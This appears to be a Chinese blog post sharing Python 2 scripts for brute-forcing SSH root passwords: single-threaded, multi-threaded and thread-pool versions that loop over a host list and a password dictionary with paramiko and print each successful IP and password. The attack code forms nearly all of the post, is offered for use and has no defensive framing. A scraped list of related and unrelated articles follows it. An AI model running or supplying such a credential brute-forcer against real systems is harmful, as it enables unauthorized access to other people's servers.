前些天,基友发我一个ssh爆破工具,看起来很吊的样子。然后我就无聊自己写了个py脚本的。

单线程:慢成狗-----

#coding:utf-8
#author:jwong

import threading
import os
import time
import paramiko
import sys
import Queue
import socket

BASE_DIR = os.path.dirname(os.path.abspath(__file__))

def ssh_connect(host,pwd):
	ssh = paramiko.SSHClient()
	ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
	try:

		ssh.connect(hostname=host,port=22,username='root',password=pwd,timeout=5)
		ssh.close()
		print('破解成功!用户名:root'  + '密码:' + pwd + ',ip:' + host)
	except paramiko.AuthenticationException,e:
		pass
	except socket.error,e:
		pass

# class ClassName(object):
# 	"""docstring for ClassName"""
# 	def __init__(self, arg):
# 		super(ClassName, self).__init__()
# 		self.arg = arg
#
host_file = BASE_DIR + '\dict\hosts.txt'
pass_file = BASE_DIR + '\dict\pass.txt'

def open_file(path):
	host = []
	with open(path,'r') as f:
		for line in f.readlines():
			if line.strip('\n') == '':
				continue
			host.append(line.strip('\n'))
		return host
hosts = open_file(host_file)
password = open_file(pass_file)
for host in hosts:
	for pass12 in password:
		print host
		ssh_connect(host,pass12)

运行会出现:No handlers could be found for logger "paramiko.transport" 错误  ----http://stackoverflow.com/questions/19152578/no-handlers-could-be-found-for-logger-paramiko

多线程版本:

#coding:utf-8
import threading
import Queue
import paramiko
import socket
import os

BASE_DIR = os.path.dirname(os.path.abspath(__file__))
host_file = BASE_DIR + '\dict\hosts.txt'
pass_file = BASE_DIR + '\dict\pass.txt'
paramiko.util.log_to_file("filename.log")
queue = Queue.Queue()
lock = threading.Lock()
def read_host_file(path):
	hostlist = []
	with open(path,'r') as f:
		for line in f.readlines():
			if line == '':
				continue
			line = socket.gethostbyname(line.strip())
			hostlist.append(line)
		return hostlist
def read_pass_file(path):
	passlist = []
	with open(path,'r') as f:
		for line in f.readlines():
			if line == '':
				continue
			passlist.append(line.strip())
		return passlist
class SSH(threading.Thread):
	"""docstring for SSH"""
	def __init__(self,queue):
		threading.Thread.__init__(self)
		self.queue = queue
	def run(self):
		while True:
			# if self.queue.empty():
			# 	break
			host,pwd = self.queue.get()
			try:
				ssh = paramiko.SSHClient()
				ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

				ssh.connect(hostname=host,port=22,username='root',password=pwd,timeout=5)
				ssh.close()
				print('破解成功!用户名:root'  + '密码:' + pwd + ',ip:' + host)

			except paramiko.AuthenticationException,e:
				pass
			except socket.error,e:
				pass
			except:
				pass
			self.queue.task_done()

if __name__ == '__main__':
	hosts = read_host_file(host_file)
	passlist = read_pass_file(pass_file)
	for i in range(30):
		fuck_ssh = SSH(queue)
		fuck_ssh.setDaemon(True)
		fuck_ssh.start()
	for host in hosts:
		for pwd in passlist:
			queue.put((host,pwd))
	queue.join()

  另一个模块实现:

#coding:utf-8

from multiprocessing.dummy import Pool as ThreadPool
from functools import partial

if __name__ == '__main__':
	hosts = read_host_file(host_file)
	passlist = read_pass_file(pass_file)
	for host in hosts:
		partial_user = partial(ssh_connect,host)
		pool = ThreadPool(20)
		pool.map(partial_user,passlist)
		pool.close()
		pool.join()

  

  

参考文献:

http://www.ibm.com/developerworks/cn/aix/library/au-threadingpython/

http://www.waitalone.cn/python-mysql-mult.html

http://www.waitalone.cn/python-brute-all.html

http://www.waitalone.cn/python-thread-map.html

ssh爆破脚本的更多相关文章

  1. python多线程ssh爆破

    python多线程ssh爆破 Python 0x01.About 爆弱口令时候写的一个python小脚本,主要功能是实现使用字典多线程爆破ssh,支持ip表导入,字典数据导入. 主要使用到的是pyth ...

  2. SSH爆破应急响应

    问题发现 登录云主机,根据提示消息,发现正遭受SSH爆破攻击,IP地址为159.65.230.189 查看登录相关安全日志:tail -f /var/log/secure,发现其他尝试爆破IP106. ...

  3. 安装fail2ban,防止ssh爆破及cc攻击

    背景:之前写过shell脚本防止服务器ssh爆破,但是对于服务器的cpu占用较多,看来下资料安装fail2ban 可以有效控制ssh爆破 1:fail2ban 安装(环境:centos6  宝塔) y ...

  4. Python Telnet弱口令爆破脚本及遇到的错误与问题

    写得时候遇到了一个很大的问题,就是我在发送用户名,接受用户名就会一直卡住.然后等了好久后提示 recv ‘\r\nSession timed out.\r\n\r\nTelnet Server has ...

  5. 20181225-Linux Shell Bash环境下自动化创建ssh互信脚本

    20181225-Linux Shell Bash环境下自动化创建ssh互信脚本 1. 我的Blog 博客园 https://www.cnblogs.com/piggybaba/ 个人网站 http: ...

  6. Python SSH爆破以及Python3线程池控制线程数

    源自一个朋友的要求,他的要求是只爆破一个ip,结果出来后就停止,如果是爆破多个,完全没必要停止,等他跑完就好 #!usr/bin/env python #!coding=utf-8 __author_ ...

  7. CentOS 7安装fail2ban+Firewalld防止SSH爆破与CC攻击

    准备工作 1.检查Firewalld是否启用 #如果您已经安装iptables建议先关闭 service iptables stop #查看Firewalld状态 firewall-cmd --sta ...

  8. CentOS7防止CC攻击防止SSH爆破采取的措施

    准备工作 1.检查firewalld是否启用 #如果您已经安装iptables建议先关闭 service iptables stop #查看firewalld状态 firewall-cmd --sta ...

  9. python写批量weblogic爆破脚本

    前言: 整理笔记的时候,发现了weblogic的攻击方法.心里打着算盘看看怎么写 个批量的弱口令爆破脚本.得出了以下思路 思路: 1.利用钟馗之眼采集weblogic的网站,将IP写入到txt 2.添 ...

随机推荐

  1. GIT+云盘作 做 文档管理工具

    GIT+云盘作 做 文档管理工具 在工作中, 会遇到公司的文档 和 自己家里的 文档进行同步的问题, 通常我们使用U盘作为传输节制, 但是不是非常好,文档的改动都不能发现, 导致回家同步的时候, 出各 ...

  2. 【WCF系列一】WCF入门教程(图文) VS2012

    WCF的全称是Windows Communication Foundation,从英文名称上看,WCF就是基于Windows下一种通讯的基础架构.利用WCF能够实现基于Windows下的各种通讯技术的 ...

  3. bootstrap + angularjs + seajs构建Web Form前端2

    bootstrap + angularjs + seajs构建Web Form前端(二) 回顾 上一篇讲解了引入bootstrap构建一个简单的登录页面,如何让angularjs自动启动并绑定视图,操 ...

  4. 迁移Model元数据设置项

    .NET/ASP.NETMVC 大型站点架构设计—迁移Model元数据设置项(自定义元数据提供程序) 阅读目录: 1.需求背景介绍(Model元数据设置项应该与View绑定而非ViewModel) 1 ...

  5. Visual Stuido也有非常多的快捷键

    最近看到很多同事用 VI 来开发Ruby,Python脚本. 编辑代码全部用的是快捷键,效率很高. 其实Visual Stuido也有非常多的快捷键,熟练运用后,能大大提高工作效率. 本文介绍一些最常 ...

  6. Java菜鸟学习笔记--面向对象篇(十八):对象转型&多态

    Polymorphism[多态] 简述: 面向对象多态性指的是:发送消息给某个对象,让该对象自行决定响应何种行为. 通过将子类对象引用赋值给超类对象引用变量来实现动态方法调用 多态的三个前提条件: 多 ...

  7. 强制卸载VS2013

    最近因为VS2013闹许可证过期问题,加之又发现新版本update5,所以就想卸掉重装,但是按照正常的卸载,发现卸载不了,再后来force强制卸载,OK了. force强制卸载: 首先如果安装了中文包 ...

  8. Asp.net MVC4 CodeFirst 使用EFTracingProvider

    一.关于EFTracingProvider EFTracingProvider相关信息见作者博客:关于EFTracingProvider EFTracingProvider Demo下载地址:Trac ...

  9. [转]How WebKit Loads a Web Page

    ref:https://www.webkit.org/blog/1188/how-webkit-loads-a-web-page/ Before WebKit can render a web pag ...

  10. ASP.NET Web API 2.0新特性:Attribute Routing1

    ASP.NET Web API 2.0新特性:Attribute Routing[上篇] 对于一个针对ASP.NET Web API的调用请求来说,请求的URL和对应的HTTP方法的组合最终决定了目标 ...